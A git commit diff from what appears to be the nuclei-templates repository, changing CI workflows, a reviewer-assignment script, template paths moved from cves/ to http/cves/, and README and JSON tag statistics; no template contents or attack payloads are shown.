Auto Generated cves.json [Wed Jul 12 22:30:04 UTC 2023] 🤖

* Create CVE-2023-29298.yaml

* fixed lint error

* matcher + misc updates

* strict matcher

---------

Co-authored-by: sandeep <[email protected]>

.github/ISSUE_TEMPLATE/false-negative.md

@@ -13,7 +13,7 @@ labels: 'false-negative'
 
 ### Template file:
 
-<!-- Template producing false-negative results, for example: "cves/XX/XX.yaml" -->
+<!-- Template producing false-negative results, for example: "http/cves/XX/XX.yaml" -->
 
 ### Command to reproduce:
 

.github/ISSUE_TEMPLATE/false-positive.md

@@ -13,7 +13,7 @@ labels: 'false-positive'
 
 ### Template file:
 
-<!-- Template producing false-positive results, for example: "cves/XX/XX.yaml" -->
+<!-- Template producing false-positive results, for example: "http/cves/XX/XX.yaml" -->
 
 ### Command to reproduce:
 

.github/auto_assign.yml

@@ -1,14 +1,14 @@
 # Set to true to add reviewers to pull requests
-addReviewers: true
+addReviewers: false
 
 # Set to true to add assignees to pull requests
-addAssignees: true
+addAssignees: false
 
 # A list of reviewers to be added to pull requests (GitHub user name)
 reviewers:
   - ritikchaddha
-  - DhiyaneshGeek
   - pussycat0x
+  - DhiyaneshGeek
 
 # A number of reviewers added to the pull request
 # Set 0 to add all the reviewers (default: 0)
@@ -16,9 +16,9 @@ numberOfReviewers: 1
 
  # A list of assignees, overrides reviewers if set
 assignees:
-  - DhiyaneshGeek
   - pussycat0x
   - ritikchaddha
+  - DhiyaneshGeek
 
 # A number of assignees to add to the pull request
 # Set to 0 to add all of the assignees.

.github/scripts/assign_tasks.py

@@ -0,0 +1,139 @@
+import requests
+import sys
+import json
+
+# GitHub credentials
+password = sys.argv[3]
+
+repo_owner = "projectdiscovery"
+repo_name = "nuclei-templates"
+pr_user_list = ["DhiyaneshGeek", "pussycat0x", "ritikchaddha"]
+issue_user_list = ["princechaddha", "DhiyaneshGeek", "pussycat0x", "ritikchaddha"]
+
+headers = {'Authorization': f'Bearer {password}',
+        'Accept': 'application/vnd.github+json',
+        'X-GitHub-Api-Version': '2022-11-28'}
+
+def get_issue_assignee(issue_number):
+    issue_url = f"https://api.github.com/repos/{repo_owner}/{repo_name}/issues?per_page=2"
+    response = requests.get(issue_url, headers=headers)
+
+    if response.status_code == 200:
+        issue_data = response.json()[1]
+        assignee = issue_data["assignee"]["login"] if issue_data["assignee"] else "None"
+        return assignee
+    else:
+        print(f"Failed to fetch assignee for issue #{issue_number}")
+        return None
+
+def assign_issue_or_pr(user, issue_number):
+    url = f"https://api.github.com/repos/{repo_owner}/{repo_name}/issues/{issue_number}/assignees"
+    data = { "assignees": [user] }
+    response = requests.post(url, headers=headers, data=json.dumps(data))
+
+    if response.status_code == 201:
+        print(f"Assigned issue #{issue_number} to {user}")
+    else:
+        print(f"Failed to assign issue #{issue_number} to {user}. Status code: {response.status_code}")
+
+def get_pr_assignee_and_reviewer(pull_request_number):
+    pull_url = f'https://api.github.com/repos/{repo_owner}/{repo_name}/pulls?per_page=2'
+    response = requests.get(pull_url, headers=headers)
+
+    if response.status_code == 200:
+        pull_request_data = response.json()[1]
+        assignee = pull_request_data['assignee']['login'] if pull_request_data['assignee'] else None
+        reviewers = [reviewer['login'] for reviewer in pull_request_data['requested_reviewers']]
+        
+        return assignee, reviewers
+    else:
+        print(f"Failed to retrieve pull request #{pull_request_number}. Response: {response.text}")
+        return None, None
+
+def get_pr_author(pull_request_number):
+    pull_url = f'https://api.github.com/repos/{repo_owner}/{repo_name}/pulls/{pull_request_number}'
+    response = requests.get(pull_url, headers=headers)
+
+    if response.status_code == 200:
+        pull_request_data = response.json()
+        author = pull_request_data['user']['login']
+        return author
+
+    else:
+        print(f"Failed to retrieve pull request #{pull_request_number}. Response: {response.text}")
+        return None
+
+def review_pr(user, pull_request_number):
+    url = f'https://api.github.com/repos/{repo_owner}/{repo_name}/pulls/{pull_request_number}/requested_reviewers'
+    data = { 'reviewers': [user] }
+    response = requests.post(url, headers=headers, data=json.dumps(data))
+
+    if response.status_code == 201:
+        print(f"Review request for pull request #{pull_request_number} sent to {user} successfully.")
+    else:
+        print(f"Failed to send review request for pull request #{pull_request_number}. Response: {response.text}")
+    
+def main():
+    if len(sys.argv) != 4:
+        print("Usage: python assign_tasks.py <issue_number> <pr_or_issue> <token>")
+        sys.exit(1)
+
+    issue_number = int(sys.argv[1])
+    type_ = sys.argv[2]
+    if type_ == 'pr':
+        assignee, reviewers = get_pr_assignee_and_reviewer(issue_number - 1)
+        author = get_pr_author(issue_number)
+
+        if reviewers:
+            try:
+                index = pr_user_list.index(reviewers[0])
+                try: 
+                    reviewer = pr_user_list[index + 1]
+                except:
+                    reviewer = pr_user_list[0]
+                if reviewer == author:
+                    reviewer = pr_user_list(pr_user_list.index(reviewer) + 1)
+                    review_pr(reviewer, issue_number)
+                else:
+                    review_pr(reviewer, issue_number)
+
+            except Exception as e:
+                reviewer = pr_user_list[0]
+                review_pr(reviewer, issue_number)
+        else:
+            for user in pr_user_list:
+                if (user != author):
+                    reviewer = user
+                    review_pr(reviewer, issue_number)
+                    break
+        
+        if assignee:
+            try:
+                index = pr_user_list.index(assignee)
+                if (pr_user_list[index + 1] == reviewer):
+                    assign_issue_or_pr(pr_user_list[index + 2], issue_number)
+                else:
+                    assign_issue_or_pr(pr_user_list[index + 1], issue_number)
+            except Exception as e:
+                if (pr_user_list[0] == reviewer):
+                    assign_issue_or_pr(pr_user_list[1], issue_number)
+                else:
+                    assign_issue_or_pr(pr_user_list[0], issue_number)
+        else:
+            if (pr_user_list[0] == reviewer):
+                assign_issue_or_pr(pr_user_list[1], issue_number)
+            else:
+                assign_issue_or_pr(pr_user_list[0], issue_number)
+    elif type_ == 'issue':
+        assignee = get_issue_assignee(issue_number-1)
+
+        if assignee:
+            try:
+                index = issue_user_list.index(assignee)
+                assign_issue_or_pr(issue_user_list[index + 1], issue_number)
+            except Exception as e:
+                assign_issue_or_pr(issue_user_list[0], issue_number)
+        else:
+            assign_issue_or_pr(issue_user_list[0], issue_number)
+
+main()

.github/scripts/wordpress-plugins-update.py

@@ -9,7 +9,7 @@ compares the detect version with the payload version.
 The generated template also includes the tags top-100 and top-200 allowing filtering.
 
 e.g.
-nuclei -t technologies/wordpress/plugins -tags top-100 -u https://www.example.com
+nuclei -t http/technologies/wordpress/plugins -tags top-100 -u https://www.example.com
 '''
 
 __author__ = "ricardomaia"
@@ -122,7 +122,7 @@ info:
     wpscan: https://wpscan.com/plugin/{name}
   tags: tech,wordpress,wp-plugin,{top_tag}
 
-requests:
+http:
   - method: GET
 
     path:
@@ -163,7 +163,7 @@ requests:
         work_dir = os.getcwd()
         print(f"Current working directory: {work_dir}")
         helper_dir = f"{work_dir}/helpers/wordpress/plugins"
-        template_dir = f"{work_dir}/technologies/wordpress/plugins"
+        template_dir = f"{work_dir}/http/technologies/wordpress/plugins"
 
         if not os.path.exists(helper_dir):
             os.makedirs(helper_dir)
@@ -176,7 +176,7 @@ requests:
         version_file.write(version)
         version_file.close()
 
-        template_path = f"technologies/wordpress/plugins/{name}.yaml"
+        template_path = f"http/technologies/wordpress/plugins/{name}.yaml"
         template_file = open(template_path, "w")  # Dev environment
         template_file.write(template)
         template_file.close()

.github/workflows/autoassign.yml

@@ -0,0 +1,31 @@
+name: run assign_tasks.py
+on:
+  pull_request:
+    types: [opened]
+    branches: 
+      - main
+  issues:
+    types: [opened]
+
+jobs:
+  build:
+    permissions: write-all
+    runs-on: ubuntu-latest
+    env:
+      ASSIGN_TASK_TOKEN: ${{ secrets.PDTEAMX_PAT }} # github personal token
+    steps:
+      - name: checkout repo content
+        uses: actions/checkout@v2 # checkout the repository content
+      - name: setup python
+        uses: actions/setup-python@v4
+        with:
+          python-version: '3.10' # install the python version needed
+      - name: install python packages
+        run: |
+          pip install requests
+      - name: execute python script on pr
+        if: ${{ github.event_name == 'pull_request' }}
+        run: python .github/scripts/assign_tasks.py ${{ github.event.pull_request.number }} pr ${{ secrets.GITHUB_TOKEN }}
+      - name: execute python script on issue opened
+        if: ${{ github.event_name == 'issues' }}
+        run: python .github/scripts/assign_tasks.py ${{ github.event.issue.number }} issue ${{ secrets.GITHUB_TOKEN }}

.github/workflows/cache-purge.yml

@@ -9,6 +9,7 @@ on:
 jobs:
   deploy:
     runs-on: ubuntu-latest
+    if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
       # Wait for 5 minutes
       - name: Wait for 2 minutes

.github/workflows/cve-annotate.yml

@@ -1,47 +0,0 @@
-name: ✍🏻 CVE Annotate
-
-on:
-  push:
-    branches:
-      - main
-    paths:
-      - 'cves/**.yaml'
-  workflow_dispatch:
-
-jobs:
-  docs:
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@v3
-        with: 
-          fetch-depth: 0
-
-      - name: Set up Go
-        uses: actions/setup-go@v4
-        with:
-          go-version: 1.19
-
-      - name: cve-annotate install
-        run: go install -v github.com/projectdiscovery/nuclei/v2/cmd/cve-annotate@latest
-
-      - name: Generate CVE Annotations
-        id: cve-annotate
-        run: |
-          cve-annotate -i . -d .
-          git status -s | wc -l | xargs -I {} echo CHANGES={} >> $GITHUB_OUTPUT
-
-      - name: Commit files
-        if: steps.cve-annotate.outputs.CHANGES > 0
-        run: |
-          git config --local user.email "[email protected]"
-          git config --local user.name "GitHub Action"
-          git pull
-          git add cves
-          git commit -m "Auto Generated CVE annotations [$(date)] :robot:" -a
-
-      - name: Push changes
-        if: steps.cve-annotate.outputs.CHANGES > 0
-        uses: ad-m/github-push-action@master
-        with:
-          github_token: ${{ secrets.GITHUB_TOKEN }}
-          branch: ${{ github.ref }}

.github/workflows/cve2json.yml

@@ -1,40 +1,45 @@
-name: Generate JSON Metadata of CVE Templates 
+name: 📝 CVE JSON Metadata
 
 on:
   push:
     branches:
       - main
     paths:
-      - 'cves/**'
+      - 'http/cves/**'
   workflow_dispatch: # allows manual triggering of the workflow
 
 jobs:
   cve2json:
     runs-on: ubuntu-latest
+    if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
       - uses: actions/checkout@master
       - name: Set up Go
         uses: actions/setup-go@v4
         with:
           go-version: 1.19
-          check-latest: true
           
-      - name: Run yaml2json.go to generate cves.json
+      - name: Run YAML2JSON
+        id: cves
         run: |
-           go env -w GO111MODULE=off
-           go get gopkg.in/yaml.v3
-           go run .github/scripts/yaml2json.go $GITHUB_WORKSPACE/cves/ cves.json
-           md5sum cves.json | cut -d' ' -f1 > cves.json-checksum.txt
+          go env -w GO111MODULE=off
+          go get gopkg.in/yaml.v3
+          go run .github/scripts/yaml2json.go $GITHUB_WORKSPACE/http/cves/ cves.json
+          md5sum cves.json | cut -d' ' -f1 > cves.json-checksum.txt
+          git status -s | wc -l | xargs -I {} echo CHANGES={} >> $GITHUB_OUTPUT
           
       - name: Commit files
+        if: steps.cves.outputs.CHANGES > 0
         run: |
-          git pull
-          git add cves.json cves.json-checksum.txt
           git config --local user.email "[email protected]"
           git config --local user.name "GitHub Action"
+          git add cves.json cves.json-checksum.txt
           git commit -m "Auto Generated cves.json [$(date)] :robot:" -a
 
       - name: Push changes
-        uses: ad-m/github-push-action@master
-        with:
-          github_token: ${{ secrets.GITHUB_TOKEN }}
+        if: steps.cves.outputs.CHANGES > 0
+        run: |
+          git pull --rebase
+          git push origin ${{ github.ref }}
+        env:
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

.github/workflows/template-checksum.yml

@@ -9,32 +9,41 @@ on:
   workflow_dispatch: # allows manual triggering of the workflow
 
 jobs:
-  build:
+  checksum:
     runs-on: ubuntu-latest
+    if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
-      - uses: actions/checkout@master
+      - uses: actions/checkout@v3
+        with: 
+          fetch-depth: 0
+
       - name: Set up Go
         uses: actions/setup-go@v4
         with:
-          go-version: 1.19
+          go-version: 1.20.x
 
       - name: install checksum generator
         run: |
           go install -v github.com/projectdiscovery/nuclei/v2/cmd/generate-checksum@dev
 
       - name: generate checksum
+        id: checksum
         run: |
           generate-checksum /home/runner/work/nuclei-templates/nuclei-templates/ templates-checksum.txt
+          git status -s | wc -l | xargs -I {} echo CHANGES={} >> $GITHUB_OUTPUT
 
       - name: Commit files
+        if: steps.checksum.outputs.CHANGES > 0
         run: |
-          git pull
-          git add templates-checksum.txt
           git config --local user.email "[email protected]"
           git config --local user.name "GitHub Action"
-          git commit -m "Auto Generated Templates Checksum [$(date)] :robot:" -a
+          git add templates-checksum.txt
+          git commit -am "Auto Generated Templates Checksum [$(date)] :robot:"
 
       - name: Push changes
-        uses: ad-m/github-push-action@master
-        with:
-          github_token: ${{ secrets.GITHUB_TOKEN }}
+        if: steps.checksum.outputs.CHANGES > 0
+        run: |
+          git pull --rebase
+          git push origin ${{ github.ref }}
+        env:
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

.github/workflows/template-db-indexer.yml

@@ -11,6 +11,7 @@ on:
 jobs:
   index:
     runs-on: ubuntu-latest
+    if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
       - name: Set up Go
         uses: actions/setup-go@v4

.github/workflows/template-validate.yml

@@ -17,7 +17,7 @@ jobs:
       - name: Set up Go
         uses: actions/setup-go@v4
         with:
-          go-version: 1.19
+          go-version: 1.20.x
 
       - name: nuclei install
         run: go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
@@ -25,5 +25,5 @@ jobs:
       - name: Template Validation
         run: |
           cp -r ${{ github.workspace }} $HOME
-          nuclei -validate
-          nuclei -validate -w ./workflows
+          nuclei -duc -validate
+          nuclei -duc -validate -w ./workflows

.github/workflows/templateman.yml

@@ -0,0 +1,48 @@
+name: 🤖 TemplateMan
+
+on:
+  push:
+    branches:
+      - main
+    paths:
+      - '**.yaml'
+  workflow_dispatch:
+
+jobs:
+  templateman:
+    runs-on: ubuntu-latest
+    if: github.repository == 'projectdiscovery/nuclei-templates'
+    steps:
+      - uses: actions/checkout@master
+        with:
+          fetch-depth: 0
+
+      - name: Set up Go
+        uses: actions/setup-go@v4
+        with:
+          go-version: 1.20.x
+
+      - name: Install TemplateMan CLI Client
+        run: |
+          go install -v github.com/projectdiscovery/nuclei/v2/cmd/tmc@dev
+
+      - name: Run TemplateMan
+        id: tmc
+        run: |
+          tmc -i $GITHUB_WORKSPACE -mr
+          git status -s | wc -l | xargs -I {} echo CHANGES={} >> $GITHUB_OUTPUT
+
+      - name: Commit files
+        if: steps.tmc.outputs.CHANGES > 0
+        run: |
+          git config --local user.email "[email protected]"
+          git config --local user.name "GitHub Action"
+          git commit --allow-empty -m "TemplateMan Update [$(date)] :robot:" -a
+
+      - name: Push changes
+        if: steps.tmc.outputs.CHANGES > 0
+        run: |
+          git pull --rebase
+          git push origin ${{ github.ref }}
+        env:
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

.new-additions

@@ -1,78 +1,21 @@
-cnvd/2020/CNVD-2020-26585.yaml
-cves/2013/CVE-2013-7285.yaml
-cves/2014/CVE-2014-6287.yaml
-cves/2015/CVE-2015-2196.yaml
-cves/2017/CVE-2017-9416.yaml
-cves/2019/CVE-2019-12985.yaml
-cves/2019/CVE-2019-12986.yaml
-cves/2019/CVE-2019-12987.yaml
-cves/2019/CVE-2019-12988.yaml
-cves/2019/CVE-2019-12990.yaml
-cves/2019/CVE-2019-15043.yaml
-cves/2020/CVE-2020-13379.yaml
-cves/2020/CVE-2020-26217.yaml
-cves/2020/CVE-2020-26258.yaml
-cves/2021/CVE-2021-21345.yaml
-cves/2021/CVE-2021-21351.yaml
-cves/2021/CVE-2021-22502.yaml
-cves/2021/CVE-2021-24239.yaml
-cves/2021/CVE-2021-24351.yaml
-cves/2021/CVE-2021-24666.yaml
-cves/2021/CVE-2021-29505.yaml
-cves/2021/CVE-2021-39141.yaml
-cves/2021/CVE-2021-39144.yaml
-cves/2021/CVE-2021-39146.yaml
-cves/2021/CVE-2021-39152.yaml
-cves/2022/CVE-2022-0212.yaml
-cves/2022/CVE-2022-0827.yaml
-cves/2022/CVE-2022-1058.yaml
-cves/2022/CVE-2022-21661.yaml
-cves/2022/CVE-2022-23898.yaml
-cves/2022/CVE-2022-2462.yaml
-cves/2022/CVE-2022-25125.yaml
-cves/2022/CVE-2022-2627.yaml
-cves/2022/CVE-2022-2756.yaml
-cves/2022/CVE-2022-3982.yaml
-cves/2022/CVE-2022-4140.yaml
-cves/2022/CVE-2022-43140.yaml
-cves/2022/CVE-2022-43769.yaml
-cves/2022/CVE-2022-45835.yaml
-cves/2022/CVE-2022-46934.yaml
-cves/2022/CVE-2022-48012.yaml
-cves/2023/CVE-2023-0552.yaml
-cves/2023/CVE-2023-0942.yaml
-cves/2023/CVE-2023-0968.yaml
-cves/2023/CVE-2023-1080.yaml
-cves/2023/CVE-2023-1177.yaml
-cves/2023/CVE-2023-24278.yaml
-cves/2023/CVE-2023-24367.yaml
-cves/2023/CVE-2023-24657.yaml
-cves/2023/CVE-2023-24733.yaml
-cves/2023/CVE-2023-24735.yaml
-cves/2023/CVE-2023-24737.yaml
-default-logins/adminer-default-login.yaml
-exposed-panels/arcgis/arcgis-services.yaml
-exposed-panels/arcgis/arcgis-tokens.yaml
-exposed-panels/fortinet/fortinet-fortimanager-panel.yaml
-exposed-panels/hestia-panel.yaml
-exposed-panels/i-mscp-panel.yaml
-exposed-panels/seagate-nas-login.yaml
-exposed-panels/sonic-wall-login.yaml
-exposed-panels/web-viewer-panel.yaml
-exposures/logs/opentsdb-status.yaml
-file/keys/github/github-outdated-key.yaml
-misconfiguration/cluster-panel.yaml
-misconfiguration/jupyter-lab-unauth.yaml
-misconfiguration/kubernetes/unauth-etcd-server.yaml
-misconfiguration/laravel-horizon-unauth.yaml
-misconfiguration/mlflow-unauth.yaml
-network/enumeration/kafka-topics-list.yaml
-ssl/kubernetes-fake-certificate.yaml
-technologies/cvsweb-detect.yaml
-technologies/kubernetes/etcd/etcd-version.yaml
-technologies/openai-plugin.yaml
-technologies/sitecore-cms.yaml
-technologies/wordpress/plugins/host-webfonts-local.yaml
-vulnerabilities/cisco/cisco-cloudcenter-suite-rce.yaml
-vulnerabilities/other/pmb-xss.yaml
-vulnerabilities/wordpress/watu-xss.yaml
+http/cves/2016/CVE-2016-10973.yaml
+http/cves/2019/CVE-2019-17574.yaml
+http/cves/2022/CVE-2022-40127.yaml
+http/cves/2022/CVE-2022-4057.yaml
+http/cves/2022/CVE-2022-45354.yaml
+http/cves/2022/CVE-2022-46071.yaml
+http/cves/2023/CVE-2023-24489.yaml
+http/cves/2023/CVE-2023-2796.yaml
+http/cves/2023/CVE-2023-29298.yaml
+http/cves/2023/CVE-2023-29300.yaml
+http/cves/2023/CVE-2023-2982.yaml
+http/cves/2023/CVE-2023-33338.yaml
+http/cves/2023/CVE-2023-33440.yaml
+http/cves/2023/CVE-2023-3479.yaml
+http/default-logins/sonarqube/sonarqube-default-login.yaml
+http/exposed-panels/c2/rhadamanthys-stealer-panel.yaml
+http/exposed-panels/sharefile-panel.yaml
+http/misconfiguration/dlink-config-dump.yaml
+http/misconfiguration/prometheus-promtail.yaml
+http/takeovers/vercel-takeover.yaml
+http/technologies/sharefile-storage-server.yaml

.nuclei-ignore

@@ -23,15 +23,17 @@ tags:
 # unless asked for by the user.
 
 files:
-  - cves/2006/CVE-2006-1681.yaml
-  - cves/2007/CVE-2007-5728.yaml
-  - cves/2014/CVE-2014-9608.yaml
-  - cves/2018/CVE-2018-5233.yaml
-  - cves/2019/CVE-2019-14696.yaml
-  - cves/2020/CVE-2020-11930.yaml
-  - cves/2020/CVE-2020-19295.yaml
-  - cves/2020/CVE-2020-2036.yaml
-  - cves/2020/CVE-2020-28351.yaml
-  - cves/2021/CVE-2021-35265.yaml
-  - vulnerabilities/oracle/oracle-ebs-xss.yaml
-  - vulnerabilities/other/nginx-module-vts-xss.yaml
+  - http/cves/2006/CVE-2006-1681.yaml
+  - http/cves/2007/CVE-2007-5728.yaml
+  - http/cves/2011/CVE-2011-4618.yaml
+  - http/cves/2014/CVE-2014-9608.yaml
+  - http/cves/2018/CVE-2018-5316.yaml
+  - http/cves/2018/CVE-2018-5233.yaml
+  - http/cves/2019/CVE-2019-14696.yaml
+  - http/cves/2020/CVE-2020-11930.yaml
+  - http/cves/2020/CVE-2020-19295.yaml
+  - http/cves/2020/CVE-2020-2036.yaml
+  - http/cves/2020/CVE-2020-28351.yaml
+  - http/cves/2021/CVE-2021-35265.yaml
+  - http/vulnerabilities/oracle/oracle-ebs-xss.yaml
+  - http/vulnerabilities/other/nginx-module-vts-xss.yaml

CONTRIBUTING.md

@@ -30,8 +30,8 @@ git remote add upstream https://github.com/projectdiscovery/nuclei-templates
 
 ```sh
 git remote update
-git checkout master
-git rebase upstream/master
+git checkout main
+git rebase upstream/main
 ```
 
 ## Step 3 : Create your Template Branch

README.md

@@ -40,20 +40,20 @@ An overview of the nuclei template project, including statistics on unique tags,
 
 ## Nuclei Templates Top 10 statistics
 
-|    TAG    | COUNT |    AUTHOR    | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
-|-----------|-------|--------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |  1682 | dhiyaneshdk  |   799 | cves             |  1662 | info     |  2790 | http    |  5573 |
-| panel     |   862 | dwisiswant0  |   792 | exposed-panels   |   854 | high     |  1201 | file    |   116 |
-| wordpress |   741 | daffainfo    |   662 | osint            |   630 | medium   |   961 | network |    87 |
-| exposure  |   651 | pikpikcu     |   352 | technologies     |   557 | critical |   622 | dns     |    18 |
-| osint     |   635 | pdteam       |   275 | vulnerabilities  |   548 | low      |   216 |         |       |
-| wp-plugin |   635 | pussycat0x   |   229 | misconfiguration |   423 | unknown  |    25 |         |       |
-| edb       |   594 | geeknik      |   219 | exposures        |   373 |          |       |         |       |
-| tech      |   594 | ricardomaia  |   213 | token-spray      |   240 |          |       |         |       |
-| xss       |   592 | ritikchaddha |   195 | workflows        |   190 |          |       |         |       |
-| lfi       |   530 | 0x_akoko     |   179 | default-logins   |   126 |          |       |         |       |
+|    TAG    | COUNT |    AUTHOR    | COUNT |      DIRECTORY       | COUNT | SEVERITY | COUNT | TYPE | COUNT |
+|-----------|-------|--------------|-------|----------------------|-------|----------|-------|------|-------|
+| cve       |  1951 | dhiyaneshdk  |   907 | http                 |  6050 | info     |  2941 | file |   142 |
+| panel     |   959 | dwisiswant0  |   797 | workflows            |   190 | high     |  1312 | dns  |    18 |
+| wordpress |   802 | daffainfo    |   664 | file                 |   142 | medium   |  1114 |      |       |
+| exposure  |   719 | pikpikcu     |   353 | network              |   100 | critical |   725 |      |       |
+| xss       |   696 | pdteam       |   280 | ssl                  |    24 | low      |   224 |      |       |
+| wp-plugin |   691 | pussycat0x   |   261 | dns                  |    18 | unknown  |    27 |      |       |
+| osint     |   652 | geeknik      |   221 | headless             |     9 |          |       |      |       |
+| tech      |   618 | ricardomaia  |   220 | contributors.json    |     1 |          |       |      |       |
+| edb       |   598 | ritikchaddha |   218 | cves.json            |     1 |          |       |      |       |
+| lfi       |   558 | 0x_akoko     |   179 | TEMPLATES-STATS.json |     1 |          |       |      |       |
 
-**380 directories, 6241 files**.
+**424 directories, 6772 files**.
 
 </td>
 </tr>

TEMPLATES-STATS.json

@@ -1 +1 @@
-{"tags":[{"name":"cve","count":1682},{"name":"panel","count":862},{"name":"wordpress","count":741},{"name":"exposure","count":651},{"name":"osint","count":635},{"name":"wp-plugin","count":635},{"name":"tech","count":594},{"name":"edb","count":594},{"name":"xss","count":592},{"name":"lfi","count":530},{"name":"cve2021","count":397},{"name":"rce","count":377},{"name":"cve2022","count":331},{"name":"packetstorm","count":315},{"name":"wpscan","count":312},{"name":"misconfig","count":281},{"name":"wp","count":249},{"name":"token-spray","count":240},{"name":"unauth","count":237},{"name":"cve2020","count":230},{"name":"osint-social","count":204},{"name":"top-200","count":203},{"name":"","count":195},{"name":"config","count":187},{"name":"kev","count":181},{"name":"authenticated","count":163},{"name":"cve2018","count":150},{"name":"sqli","count":146},{"name":"token","count":145},{"name":"iot","count":145},{"name":"default-login","count":142},{"name":"cve2019","count":140},{"name":"oast","count":139},{"name":"apache","count":137},{"name":"joomla","count":136},{"name":"cve2010","count":112},{"name":"login","count":106},{"name":"file","count":104},{"name":"files","count":100},{"name":"redirect","count":100},{"name":"top-100","count":100},{"name":"router","count":97},{"name":"network","count":91},{"name":"ssrf","count":82},{"name":"cms","count":77},{"name":"devops","count":76},{"name":"cve2017","count":74},{"name":"takeover","count":73},{"name":"auth-bypass","count":72},{"name":"install","count":69},{"name":"oracle","count":64},{"name":"disclosure","count":64},{"name":"intrusive","count":63},{"name":"seclists","count":60},{"name":"oss","count":54},{"name":"cve2015","count":53},{"name":"google","count":53},{"name":"cisco","count":50},{"name":"cve2016","count":49},{"name":"fileupload","count":49},{"name":"adobe","count":48},{"name":"osint-gaming","count":45},{"name":"logs","count":44},{"name":"debug","count":43},{"name":"aem","count":43},{"name":"atlassian","count":42},{"name":"hackerone","count":42},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"vmware","count":41},{"name":"tenable","count":41},{"name":"plugin","count":41},{"name":"cve2014","count":41},{"name":"vulhub","count":39},{"name":"springboot","count":36},{"name":"traversal","count":36},{"name":"generic","count":35},{"name":"osint-misc","count":35},{"name":"jira","count":35},{"name":"injection","count":35},{"name":"kubernetes","count":33},{"name":"listing","count":33},{"name":"huntr","count":33},{"name":"aws","count":31},{"name":"osint-tech","count":28},{"name":"dns","count":28},{"name":"sap","count":27},{"name":"osint-coding","count":27},{"name":"log4j","count":26},{"name":"php","count":25},{"name":"cnvd","count":25},{"name":"gitlab","count":25},{"name":"microsoft","count":25},{"name":"osint-finance","count":24},{"name":"osint-images","count":24},{"name":"proxy","count":24},{"name":"misc","count":24},{"name":"osint-shopping","count":24},{"name":"zoho","count":23},{"name":"jndi","count":23},{"name":"firewall","count":23},{"name":"osint-business","count":23},{"name":"fuzz","count":23},{"name":"manageengine","count":23},{"name":"k8s","count":22},{"name":"wp-theme","count":21},{"name":"amazon","count":21},{"name":"cve2012","count":21},{"name":"cloud","count":21},{"name":"api","count":21},{"name":"weblogic","count":20},{"name":"cicd","count":20},{"name":"ibm","count":20},{"name":"deserialization","count":20},{"name":"tomcat","count":20},{"name":"jenkins","count":19},{"name":"struts","count":19},{"name":"dlink","count":19},{"name":"camera","count":19},{"name":"msf","count":19},{"name":"ftp","count":18},{"name":"fortinet","count":18},{"name":"wavlink","count":18},{"name":"osint-music","count":18},{"name":"service","count":17},{"name":"github","count":17},{"name":"backup","count":16},{"name":"cve2011","count":16},{"name":"admin","count":16},{"name":"lfr","count":16},{"name":"osint-blog","count":16},{"name":"printer","count":16},{"name":"status","count":15},{"name":"cve2009","count":15},{"name":"nginx","count":15},{"name":"xxe","count":15},{"name":"detect","count":15},{"name":"android","count":15},{"name":"ssl","count":14},{"name":"domainmod","count":14},{"name":"jboss","count":14},{"name":"osint-health","count":14},{"name":"java","count":14},{"name":"hp","count":14},{"name":"cve2023","count":14},{"name":"audit","count":14},{"name":"osint-art","count":14},{"name":"cve2013","count":13},{"name":"confluence","count":13},{"name":"cve2008","count":13},{"name":"woocommerce","count":13},{"name":"osint-political","count":13},{"name":"magento","count":13},{"name":"fortigate","count":13},{"name":"abstractapi","count":13},{"name":"osint-dating","count":13},{"name":"webserver","count":12},{"name":"microweber","count":12},{"name":"vpn","count":12},{"name":"git","count":12},{"name":"graphql","count":12},{"name":"rails","count":12},{"name":"ruijie","count":12},{"name":"backdoor","count":12},{"name":"drupal","count":12},{"name":"netgear","count":12},{"nameLine truncated
+{"tags":[{"name":"cve","count":1951},{"name":"panel","count":959},{"name":"wordpress","count":802},{"name":"exposure","count":719},{"name":"xss","count":696},{"name":"wp-plugin","count":691},{"name":"osint","count":652},{"name":"tech","count":618},{"name":"edb","count":598},{"name":"lfi","count":558},{"name":"misconfig","count":474},{"name":"cve2021","count":434},{"name":"rce","count":431},{"name":"cve2022","count":418},{"name":"packetstorm","count":369},{"name":"wpscan","count":350},{"name":"wp","count":303},{"name":"unauth","count":285},{"name":"cve2020","count":242},{"name":"token-spray","count":240},{"name":"authenticated","count":233},{"name":"sqli","count":211},{"name":"top-200","count":208},{"name":"osint-social","count":207},{"name":"kev","count":200},{"name":"config","count":197},{"name":"","count":194},{"name":"oast","count":171},{"name":"token","count":160},{"name":"apache","count":153},{"name":"cve2018","count":151},{"name":"iot","count":150},{"name":"default-login","count":150},{"name":"cve2019","count":149},{"name":"file","count":147},{"name":"login","count":141},{"name":"joomla","count":136},{"name":"cve2023","count":117},{"name":"redirect","count":116},{"name":"cve2010","count":112},{"name":"files","count":101},{"name":"network","count":100},{"name":"top-100","count":100},{"name":"router","count":97},{"name":"ssrf","count":96},{"name":"cms","count":95},{"name":"auth-bypass","count":81},{"name":"devops","count":77},{"name":"cve2017","count":77},{"name":"intrusive","count":73},{"name":"takeover","count":73},{"name":"install","count":70},{"name":"disclosure","count":68},{"name":"oracle","count":65},{"name":"seclists","count":60},{"name":"detect","count":58},{"name":"oss","count":57},{"name":"cve2015","count":54},{"name":"google","count":53},{"name":"cisco","count":53},{"name":"adobe","count":52},{"name":"cve2016","count":52},{"name":"fileupload","count":49},{"name":"atlassian","count":47},{"name":"logs","count":46},{"name":"tenable","count":46},{"name":"osint-gaming","count":45},{"name":"vmware","count":45},{"name":"vulhub","count":44},{"name":"aem","count":44},{"name":"debug","count":44},{"name":"plugin","count":43},{"name":"cve2014","count":42},{"name":"hackerone","count":42},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"huntr","count":41},{"name":"generic","count":37},{"name":"traversal","count":37},{"name":"jira","count":36},{"name":"springboot","count":36},{"name":"osint-misc","count":35},{"name":